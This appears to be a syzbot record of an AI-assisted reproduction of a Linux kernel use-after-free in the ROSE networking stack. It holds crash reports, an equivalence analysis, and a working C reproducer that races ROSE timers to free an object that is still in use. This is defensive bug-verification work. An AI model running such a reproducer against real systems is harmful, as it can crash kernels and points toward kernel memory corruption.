syzbot

map[EquivalenceAnalysis:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. OtherCrashReports:[------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88810b1dd090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#1: swapper/1/0
Modules linked in:
CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000a089a8 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a506798 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88810b1dd090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88810b1dd200
R13: ffffffff90255cb0 R14: ffff88810b1dd000 R15: ffff88810b1dd090
FS:  0000000000000000(0000) GS:ffff8882e8bef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005654964c2cc0 CR3: 0000000101f1e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 tmigr_handle_remote_cpu kernel/time/timer_migration.c:982 [inline]
 tmigr_handle_remote_up kernel/time/timer_migration.c:1073 [inline]
 __walk_groups_from kernel/time/timer_migration.c:565 [inline]
 __walk_groups kernel/time/timer_migration.c:582 [inline]
 tmigr_handle_remote+0xa48/0x1440 kernel/time/timer_migration.c:1132
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffc90000197e20 EFLAGS: 00000206
RAX: 00000000000627ff RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffc90000197f10 R08: ffff88827be3399b R09: 1ffff1104f7c6733
R10: dffffc0000000000 R11: ffffed104f7c6734 R12: 0000000000000001
R13: 1ffff1103009d000 R14: 0000000000000001 R15: 1ffff1103009d000
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 start_secondary+0x101/0x110 arch/x86/kernel/smpboot.c:312
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
] ReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
 Reproduced:true ReproducedBugTitle:WARNING: ODEBUG bug in handle_softirqs ReproducedCrashReport:------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#0: swapper/0/0
Modules linked in:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 run_timer_base kernel/time/timer.c:2394 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2404
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 rest_init+0x2de/0x300 init/main.c:760
 start_kernel+0x385/0x3d0 init/main.c:1210
 x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
 x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
]

map[KernelSrc:/app/workdir/cache/src/467e55f613aaf753738bad9aa4d4d66a1b3a23eb]

map[KernelObj:/app/workdir/cache/build/dcab72d93246dbd1b959ccc5b3254f94db5a0a69]

map[Index:codesearch-index]

gemini-3.1-pro-preview

You are a security researcher with deep Linux kernel background.
Your goal is to analyze a Linux kernel bug description and propose a strategy to reproduce it
with a minimal, standalone C program.
This is for the strictly defensive purpose of verifying a bugfix in an isolated environment.
Do NOT propose an exploit. Focus on minimal technical reproduction of the bug state.
Keep your analysis and strategy proposal concise. Do not write long explanations.
Prefer calling several tools at the same time to save round-trips.

Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
